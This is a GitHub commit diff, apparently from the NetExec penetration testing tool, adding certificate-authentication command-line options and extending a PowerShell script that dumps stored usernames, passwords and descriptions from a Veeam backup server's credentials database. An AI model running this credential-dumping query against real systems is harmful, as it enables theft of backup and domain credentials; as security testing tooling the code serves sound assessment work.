You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Maintained as an open source project by @NeffIsBack, @MJHallenbeck, @_zblurx
@@ -98,6 +100,13 @@ def gen_cli_args():
98
100
kerberos_group.add_argument("--use-kcache", action="store_true", help="Use Kerberos authentication from ccache file (KRB5CCNAME)")
99
101
kerberos_group.add_argument("--aesKey", metavar="AESKEY", nargs="+", help="AES key to use for Kerberos Authentication (128 or 256 bits)")
100
102
kerberos_group.add_argument("--kdcHost", metavar="KDCHOST", help="FQDN of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter")
103
+
104
+
certificate_group=std_parser.add_argument_group("Certificate", "Options for certificate authentication")
105
+
certificate_group.add_argument("--pfx-cert", metavar="PFXCERT", help="Use certificate authentication from pfx file .pfx")
106
+
certificate_group.add_argument("--pfx-base64", metavar="PFXB64", help="Use certificate authentication from pfx file encoded in base64")
107
+
certificate_group.add_argument("--pfx-pass", metavar="PFXPASS", help="Password of the pfx certificate")
108
+
certificate_group.add_argument("--pem-cert", metavar="PEMCERT", help="Use certificate authentication from PEM file")
109
+
certificate_group.add_argument("--pem-key", metavar="PEMKEY", help="Private key for the PEM format")
101
110
102
111
server_group=std_parser.add_argument_group("Servers", "Options for nxc servers")
103
112
server_group.add_argument("--server", choices={"http", "https"}, default="https", help="use the selected server")
Copy file name to clipboardExpand all lines: nxc/data/veeam_dump_module/veeam_dump_mssql.ps1
+37-9Lines changed: 37 additions & 9 deletions
Original file line number
Diff line number
Diff line change
@@ -1,9 +1,10 @@
1
1
$SqlDatabaseName="REPLACE_ME_SqlDatabase"
2
2
$SqlServerName="REPLACE_ME_SqlServer"
3
3
$SqlInstanceName="REPLACE_ME_SqlInstance"
4
+
$b64Salt="REPLACE_ME_b64Salt"
4
5
5
6
#Forming the connection string
6
-
$SQL="SELECT [user_name] AS 'User',[password] AS 'Password' FROM [$SqlDatabaseName].[dbo].[Credentials] WHERE password <> ''"#Filter empty passwords
7
+
$SQL="SELECT [user_name] AS 'User',[password] AS 'Password', [description] AS 'Description' FROM [$SqlDatabaseName].[dbo].[Credentials] WHERE password <> ''"#Filter empty passwords
7
8
$auth="Integrated Security=SSPI;"#Local user
8
9
$connectionString="Provider=sqloledb; Data Source=$SqlServerName\$SqlInstanceName; Initial Catalog=$SqlDatabaseName; $auth;"
0 commit comments